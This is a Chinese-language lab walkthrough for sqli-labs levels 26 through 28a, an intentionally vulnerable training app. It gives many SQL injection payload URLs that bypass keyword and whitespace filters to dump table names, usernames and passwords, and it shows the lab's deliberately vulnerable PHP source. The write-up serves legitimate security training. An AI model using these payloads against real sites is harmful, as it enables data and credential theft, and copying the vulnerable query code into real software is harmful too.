IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> sqli-labs Less-26、26a、27、27a、28、28a(sqli-labs闯关指南 26、26a、27、27a、28、28a)—Advanced injection -> 正文阅读

[大数据]sqli-labs Less-26、26a、27、27a、28、28a(sqli-labs闯关指南 26、26a、27、27a、28、28a)—Advanced injection

目录

Less-26

Less-26a

Less-27

Less-27-a

Less-28

Less-28a


Less-26

????????基于错误_GET_过滤空格/注释_单引号_字符型注入

源码:

?????????这关跟是在Less-25关的基础上再加上了/*、--、#和空格,以及正反斜杠/\进行了过滤,本关在 windows 下无法使用一些特殊的字符代替空格,此处是因为apache 的解析的问题,这里请更换到 linux 平台下。
????????本关结合 25 关,将空格,or,and,/*,#,--,/等各种符号过滤,此处对于 and,or 的处理方
法不再赘述,参考 25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用
构造一个 ’ 来闭合后面到 ’ ;对于空格,有较多的方法:
????????%09 TAB 键(水平)
????????%0a 新建一行
????????%0c 新的一页
????????%0d return 功能
????????%0b TAB 键(垂直)
????????%a0 空格。
? ? ? ?sql 语句为 SELECT * FROM users WHERE id='$id' LIMIT 0,1,我们首先给出一个最为简单的 payload:http://127.0.0.1/sqli/Less-26/?id=1'%09||'1
? ? ? ?
? ?????????同时,我们此处的 sql 语句为 SELECT * FROM users WHERE id='1' || ‘1’ LIMIT 0,1,第一个'首先闭合 id='$id' 中的',除了%a0,基本都是过滤了的字符:如%20(空格)、%23(#)、%2a(*)、%2d(-)、%2f(/)、%5c(\),%09-%0d都是制表符、换行符、换页符。

?????????剩下的就是将各种绕过组合成 payload了:

????????http://127.0.0.1/sqli/Less-26/id=0'%a0union%a0select%a02,database(),4%a0||%a0'1'='1

????????http://127.0.0.1/sqli/Less-26/?id=0'%a0union%a0select%a02,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'),4%a0||%a0'1'='1

????????http://127.0.0.1/sqli/Less-26/?id=0'%a0union%a0select%a02,(select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0&&%a0table_name='users'),4%a0||%a0'1'='1


????????http://127.0.0.1/sqli/Less-26/?id=0'%a0union%a0select%a02,(select%a0group_concat(concat_ws('-',id,username,passwoorrd))%a0from%a0users),4%a0||%a0'1'='1

?????????不同环境可能不能成功。

下面演示基于错误的注入:

????????1. 爆数据库名:

?????????id=0'||updatexml(1,concat('$',(database())),0)||'1'='1

????????2.爆表名:

?????????id=0'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1

????????3.爆字段名:

?????????id=0'||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1

?????????4.爆用户名和密码等数据:

??????????id=0'||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)||'1'='1

????????这里因没有空格不能使用limit 0,1,而报错有字符限制也不能使用group_concat(),所以只能使用where条件来控制偏移量。

Less-26a

????????基于错误_GET_过滤空格/注释_单引号_小括号_字符型_盲注

源码:

??????????这关与Less-26 的区别在于,sql 语句添加了一个括号,同时在 sql 语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用 union 注入。
????????sql 语句为 SELECT * FROM users WHERE id=('$id') LIMIT 0,1

????????我们构造 payload:

????????http://127.0.0.1/sqli/Less-26a/?id=1')%09||('1


????????基本与Less-26 一致,我们直接用') 闭合前面的,然后跟上自己构造的注入语句即可。最后利用('1 进行闭合即可。

????????1. 爆数据库名:

?????????id=0')%0Bunion%0Bselect%0B1,database(),3%0B||('1')=('1

????????2.爆表名:

????????id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%261=('1

????????3.爆字段名:

????????id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%261=('1

?????????4.爆用户名和密码等数据:

????????id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd,0x7e,username),3%0bfrom%0busers%0bwhere%0b1=('1

?

Less-27

????????基于错误_GET_过滤UNION/SELECT_单引号_字符型注入

源码:

?????????本关主要考察将 union,select 和Less-26 关过滤掉的字符。此处我们依旧和 Less-276 关的方式是一样的,只需要将 union 和 select 改为大小写混合就可以突破。

????????1.爆数据库名:?id=0'unIon%0BSelEcT%0B1,database(),3||'1:

????????或是?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,database(),2/*%0a*/||/*%0a*/'1'='1

????????2.爆表名:

?????????id=0'%0AunIon%0ASeLeCt%0A1,(SeLeCt%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'),3||'1

????????3.爆字段名:

?????????id=0'%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b'1'='1

????????4.爆数据:

??????????id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,(SeLeCt/*%0a*/group_concat(concat_ws('$',id,username,password))/*%0a*/from/*%0a*/users),3/*%0a*/||/*%0a*/'1'='1

????????uniunionon 双写也是可以突破限制的。亦可以利用报错注入和延时注入的语法进行注入。

Less-27-a

????????基于盲注_GET_过滤UNION/SELECT_双引号_字符型

源码:

?????????本关与 27 关的区别在于对于 id 的处理,这里用的是 ",同时 mysql 的错误不会在前端页面显示。得出以下结论:
????????1.双引号字符型注入;
????????2.没有错误回显,不能进行报错注入,即无法使用updatexml函数等,但可以进行布尔盲注,因为他有无错误回显,即正确和错误页面返回的页面不同;
????????3.可以使用union联合注入,延时盲注。
????????我们根据 27 关直接给出一个示例 payload:?id=0"unIon%0BSelEcT%0B1,database(),"3


????????TIPs:这里说下以上 payload 我们利用最后的 3 前面的 "将后面的 "给闭合掉。或者亦可以利
用以前的方法 1,user(),3 || "1,同时本关可以用延时注入的方法进行注入。

?????????爆数据库:

?????????id=0"%0BuniOn%0BsElEct%0B1,database(),3%0Bor%0B"1"="1

?????????爆表:?id=0"%0AUnIoN%0ASeLeCt%0A1,(SeLeCt%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'),3||"1

?????????其他参考Less-27,修改'为''即可。

Less-28

?????????基于错误的,单引号字符型,过滤了union和select等的注入

?源码:

if(isset($_GET['id']))
{
	$id=$_GET['id'];
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);

	//fiddling with comments
	$id= blacklist($id);
	//echo "<br>";
	//echo $id;
	//echo "<br>";
	$hint=$id;

// connectivity 
	$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
	  	echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];
	  	echo "<br>";
	  	echo 'Your Password:' .$row['password'];
	  	echo "</font>";
  	}
	else 
	{
		echo '<font color= "#FFFF00">';
		//print_r(mysql_error());
		echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}




function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

????????本关考察内容与 27 关没有太大的差距,过滤了相连的union和select,就是说只看最后一项,正则匹配会过滤 union加空格加select,只有这个表达式(不区分大小写)满足的时候才会进行过滤,但是双写空格会被之前的空格匹配过滤。/i同时匹配大小写,\s匹配任意空白字符如制表符、换行符、空格等,使用%a0等空格的URL编码可以绕过。
??????这一关和Less-27十分相似,可以利用联合注入,布尔盲注,延时注入。
这里演示联合注入:

????????1.爆数据库:

?????????id=0')%0BuniOn%0BsElEct%0B1,database(),3%0Bor%0B('1')=('1

????????2.爆表:

?????????id=0')%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b('1')=('1

????????3.爆字段名:

?????????id=0')%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b('1')=('1

????????4.爆数据:

?????????id=0')%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0bwhere%0b('1')=('1?

?

Less-28a

????????基于盲注的,带括号的单引号字符型,过滤了union和select等的注入

?源码:

?????????本关与Less- 28 基本一致,只是过滤条件少了几个。

????????联合注入和Less-28关一样,具体操作可自行操作。

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-12-26 22:16:11  更:2021-12-26 22:17:20 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 12:57:51-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码